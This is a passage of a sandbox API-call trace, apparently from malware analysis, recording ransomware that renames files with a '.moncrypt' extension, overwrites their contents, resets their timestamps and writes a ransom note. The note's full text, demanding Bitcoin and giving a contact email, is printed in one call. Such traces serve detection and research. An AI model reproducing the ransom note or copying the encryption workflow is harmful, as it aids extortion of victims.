GlobalUnlock (hMem=0x44000c) returned 0 [0045.001] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.001] GlobalUnlock (hMem=0x440004) returned 0 [0045.001] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.001] CharLowerBuffW (in: lpsz="MS.WPG", cchLength=0x6 | out: lpsz="ms.wpg") returned 0x6 [0045.001] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="g", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.001] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.001] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="w", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.001] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.001] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="s", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.001] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.001] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0045.001] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", cchWideChar=61, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpUsedDefaultChar=0x0) returned 61 [0045.001] CharLowerBuffW (in: lpsz=".WPG", cchLength=0x4 | out: lpsz=".wpg") returned 0x4 [0045.001] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".wpg", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".wpgShared\\GRPHFLT\\MS.WPG", lpUsedDefaultChar=0x0) returned 4 [0045.002] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x916cf600, ftCreationTime.dwHighDateTime=0x1bcabec, ftLastAccessTime.dwLowDateTime=0xeee42ef0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x916cf600, ftLastWriteTime.dwHighDateTime=0x1bcabec, nFileSizeHigh=0x0, nFileSizeLow=0x566, dwReserved0=0x0, dwReserved1=0x0, cFileName="MS.WPG", cAlternateFileName="")) returned 0x54e200 [0045.002] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0045.002] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0045.002] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.002] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG", dwFileAttributes=0x20) returned 1 [0045.002] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0045.002] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.moncrypt")) returned 1 [0045.003] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0045.003] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0045.003] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x566 [0045.003] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0045.003] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1c8, nNumberOfBytesToRead=0x566, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesRead=0x18ea34*=0x566, lpOverlapped=0x0) returned 1 [0045.008] GlobalLock (hMem=0x440004) returned 0x551178 [0045.008] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.008] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.008] GlobalUnlock (hMem=0x440004) returned 0 [0045.008] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.008] GlobalUnlock (hMem=0x44000c) returned 0 [0045.008] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.008] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.008] GlobalUnlock (hMem=0x44000c) returned 0 [0045.008] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0045.008] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x580, lpOverlapped=0x0) returned 1 [0045.008] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0045.008] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d18*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d18*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0045.019] WriteFile (in: hFile=0x188, lpBuffer=0x1d7d8d8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1d7d8d8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0045.019] CloseHandle (hObject=0x188) returned 1 [0045.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\ms.wpg.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0045.020] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0045.020] CloseHandle (hObject=0x188) returned 1 [0045.020] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\MS.WPG.moncrypt", dwFileAttributes=0x20) returned 1 [0045.020] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0045.020] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.020] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.020] GlobalUnlock (hMem=0x44000c) returned 0 [0045.020] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.021] GlobalLock (hMem=0x440004) returned 0x553188 [0045.021] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.021] GlobalUnlock (hMem=0x44000c) returned 0 [0045.021] GlobalHandle (pMem=0x553188) returned 0x440004 [0045.021] GlobalUnlock (hMem=0x440004) returned 0 [0045.021] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files.\r\n\r\nContact us using this email address: moncoin@protonmail.com\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nIf you are waiting for a message from us for more than 12 hours, check spam folder.\r\n\r\nAttention!\r\n * Do not rename encrypted files.\r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss.\r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam.", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0045.021] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x18eb1c | out: lpFindFileData=0x18eb1c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3c290c00, ftCreationTime.dwHighDateTime=0x1d5ddc0, ftLastAccessTime.dwLowDateTime=0x3c290c00, ftLastAccessTime.dwHighDateTime=0x1d5ddc0, ftLastWriteTime.dwLowDateTime=0x3c290c00, ftLastWriteTime.dwHighDateTime=0x1d5ddc0, nFileSizeHigh=0x0, nFileSizeLow=0x649, dwReserved0=0x503a80, dwReserved1=0x5664e257, cFileName="HOW TO RECOVER ENCRYPTED FILES.TXT", cAlternateFileName="HOWTOR~1.TXT")) returned 0x54e200 [0045.021] FileTimeToLocalFileTime (in: lpFileTime=0x18eb30, lpLocalFileTime=0x18eab0 | out: lpLocalFileTime=0x18eab0) returned 1 [0045.021] FileTimeToDosDateTime (in: lpFileTime=0x18eab0, lpFatDate=0x18eafe, lpFatTime=0x18eafc | out: lpFatDate=0x18eafe, lpFatTime=0x18eafc) returned 1 [0045.021] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.021] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\how to recover encrypted files.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0045.021] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0045.021] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0045.021] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0045.021] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0045.021] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x649 [0045.021] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ed04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ed04*=0) returned 0x0 [0045.021] ReadFile (in: hFile=0x188, lpBuffer=0x1dcc6d8, nNumberOfBytesToRead=0x649, lpNumberOfBytesRead=0x18ed28, lpOverlapped=0x0 | out: lpBuffer=0x1dcc6d8*, lpNumberOfBytesRead=0x18ed28*=0x649, lpOverlapped=0x0) returned 1 [0045.021] CloseHandle (hObject=0x188) returned 1 [0045.022] FindNextFileW (in: hFindFile=0x54e1c0, lpFindFileData=0x18eea4 | out: lpFindFileData=0x18eea4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 1 [0045.022] FileTimeToLocalFileTime (in: lpFileTime=0x18eeb8, lpLocalFileTime=0x18edc4 | out: lpLocalFileTime=0x18edc4) returned 1 [0045.022] FileTimeToDosDateTime (in: lpFileTime=0x18edc4, lpFatDate=0x18ee86, lpFatTime=0x18ee84 | out: lpFatDate=0x18ee86, lpFatTime=0x18ee84) returned 1 [0045.022] GlobalLock (hMem=0x440004) returned 0x551178 [0045.022] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.022] GlobalUnlock (hMem=0x440004) returned 0 [0045.022] GlobalLock (hMem=0x440004) returned 0x551178 [0045.022] GlobalLock (hMem=0x44000c) returned 0x553188 [0045.022] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.022] GlobalUnlock (hMem=0x440004) returned 0 [0045.022] GlobalHandle (pMem=0x553188) returned 0x44000c [0045.022] GlobalUnlock (hMem=0x44000c) returned 0 [0045.022] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{46E4D4E6-8B81-84CA-93DA-BB29377B2AC0}") returned 0x0 [0045.022] CharLowerBuffW (in: lpsz="PICTIM32.FLT", cchLength=0xc | out: lpsz="pictim32.flt") returned 0xc [0045.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="f", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="fí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="2", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="2í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="3", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="3í\x18", lpUsedDefaultChar=0x0) returned 1 [0045.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.022] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0045.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ií\x18", lpUsedDefaultChar=0x0) returned 1 [0045.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="p", cchWideChar=1, lpMultiByteStr=0x18dd5c, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pí\x18", lpUsedDefaultChar=0x0) returned 1 [0045.023] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e39128, cbMultiByte=34, lpWideCharStr=0x18dd64, cchWideChar=2047 | out: lpWideCharStr="how to recover encrypted files.txtXT\x06") returned 34 [0045.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", cchWideChar=67, lpMultiByteStr=0x18dd40, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpUsedDefaultChar=0x0) returned 67 [0045.023] CharLowerBuffW (in: lpsz=".FLT", cchLength=0x4 | out: lpsz=".flt") returned 0x4 [0045.023] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".flt", cchWideChar=4, lpMultiByteStr=0x18dd64, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".fltShared\\GRPHFLT\\PICTIM32.FLT", lpUsedDefaultChar=0x0) returned 4 [0045.023] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", lpFindFileData=0x18eb04 | out: lpFindFileData=0x18eb04*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8a19600, ftCreationTime.dwHighDateTime=0x1caa4ff, ftLastAccessTime.dwLowDateTime=0xeefe5e10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8a19600, ftLastWriteTime.dwHighDateTime=0x1caa4ff, nFileSizeHigh=0x0, nFileSizeLow=0x11d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="PICTIM32.FLT", cAlternateFileName="")) returned 0x54e200 [0045.023] FileTimeToLocalFileTime (in: lpFileTime=0x18eb18, lpLocalFileTime=0x18ea30 | out: lpLocalFileTime=0x18ea30) returned 1 [0045.023] FileTimeToDosDateTime (in: lpFileTime=0x18ea30, lpFatDate=0x18eae6, lpFatTime=0x18eae4 | out: lpFatDate=0x18eae6, lpFatTime=0x18eae4) returned 1 [0045.023] FindClose (in: hFindFile=0x54e200 | out: hFindFile=0x54e200) returned 1 [0045.023] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT", dwFileAttributes=0x20) returned 1 [0045.331] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e699f0, cbMultiByte=9, lpWideCharStr=0x18da40, cchWideChar=2047 | out: lpWideCharStr=".moncrypt") returned 9 [0045.331] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.moncrypt")) returned 1 [0045.331] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.moncrypt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0045.331] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0045.331] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x11d78 [0045.331] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea10*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea10*=0) returned 0x0 [0045.331] ReadFile (in: hFile=0x188, lpBuffer=0x1dbe1a8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesRead=0x18ea34*=0x4000, lpOverlapped=0x0) returned 1 [0045.334] GlobalLock (hMem=0x44000c) returned 0x551178 [0045.334] GlobalLock (hMem=0x440004) returned 0x557188 [0045.334] GlobalHandle (pMem=0x557188) returned 0x440004 [0045.334] GlobalUnlock (hMem=0x440004) returned 0 [0045.334] GlobalReAlloc (hMem=0x440004, dwBytes=0x4000, uFlags=0x2) returned 0x440004 [0045.334] GlobalLock (hMem=0x440004) returned 0x557188 [0045.334] GlobalHandle (pMem=0x557188) returned 0x440004 [0045.334] GlobalUnlock (hMem=0x440004) returned 0 [0045.334] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0045.335] GlobalLock (hMem=0x440004) returned 0x557188 [0045.335] GlobalHandle (pMem=0x551178) returned 0x44000c [0045.335] GlobalUnlock (hMem=0x44000c) returned 0 [0045.335] GlobalHandle (pMem=0x557188) returned 0x440004 [0045.335] GlobalUnlock (hMem=0x440004) returned 0 [0045.335] GlobalLock (hMem=0x440004) returned 0x551178 [0045.335] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.335] GlobalUnlock (hMem=0x440004) returned 0 [0045.335] GlobalReAlloc (hMem=0x440004, dwBytes=0x6000, uFlags=0x2) returned 0x440004 [0045.335] GlobalLock (hMem=0x440004) returned 0x551178 [0045.335] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.335] GlobalUnlock (hMem=0x440004) returned 0 [0045.335] ReadFile (in: hFile=0x188, lpBuffer=0x1e39128, nNumberOfBytesToRead=0x20, lpNumberOfBytesRead=0x18ea34, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesRead=0x18ea34*=0x20, lpOverlapped=0x0) returned 1 [0045.335] SetFilePointer (in: hFile=0x188, lDistanceToMove=0, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x0 [0045.335] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1a8*, nNumberOfBytesToWrite=0x4020, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1a8*, lpNumberOfBytesWritten=0x18ea30*=0x4020, lpOverlapped=0x0) returned 1 [0045.335] SetFilePointer (in: hFile=0x188, lDistanceToMove=73080, lpDistanceToMoveHigh=0x18ea28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18ea28*=0) returned 0x11d78 [0045.335] WriteFile (in: hFile=0x188, lpBuffer=0x1e39128*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e39128*, lpNumberOfBytesWritten=0x18ea30*=0x20, lpOverlapped=0x0) returned 1 [0045.336] WriteFile (in: hFile=0x188, lpBuffer=0x18eaac*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x18eaac*, lpNumberOfBytesWritten=0x18ea30*=0x8, lpOverlapped=0x0) returned 1 [0045.336] WriteFile (in: hFile=0x188, lpBuffer=0x1e61d38*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1e61d38*, lpNumberOfBytesWritten=0x18ea30*=0x1, lpOverlapped=0x0) returned 1 [0045.347] WriteFile (in: hFile=0x188, lpBuffer=0x1dbe1c8*, nNumberOfBytesToWrite=0x9c, lpNumberOfBytesWritten=0x18ea30, lpOverlapped=0x0 | out: lpBuffer=0x1dbe1c8*, lpNumberOfBytesWritten=0x18ea30*=0x9c, lpOverlapped=0x0) returned 1 [0045.347] CloseHandle (hObject=0x188) returned 1 [0045.349] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.moncrypt" (normalized: "c:\\program files\\common files\\microsoft shared\\grphflt\\pictim32.flt.moncrypt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0045.349] SetFileTime (hFile=0x188, lpCreationTime=0x18ead4, lpLastAccessTime=0x18eacc, lpLastWriteTime=0x18eac4) returned 1 [0045.349] CloseHandle (hObject=0x188) returned 1 [0045.349] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\GRPHFLT\\PICTIM32.FLT.moncrypt", dwFileAttributes=0x20) returned 1 [0045.349] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1e390c8, cbMultiByte=34, lpWideCharStr=0x18dd68, cchWideChar=2047 | out: lpWideCharStr="HOW TO RECOVER ENCRYPTED FILES.TXT\x06") returned 34 [0045.350] GlobalLock (hMem=0x440004) returned 0x551178 [0045.350] GlobalHandle (pMem=0x551178) returned 0x440004 [0045.350] 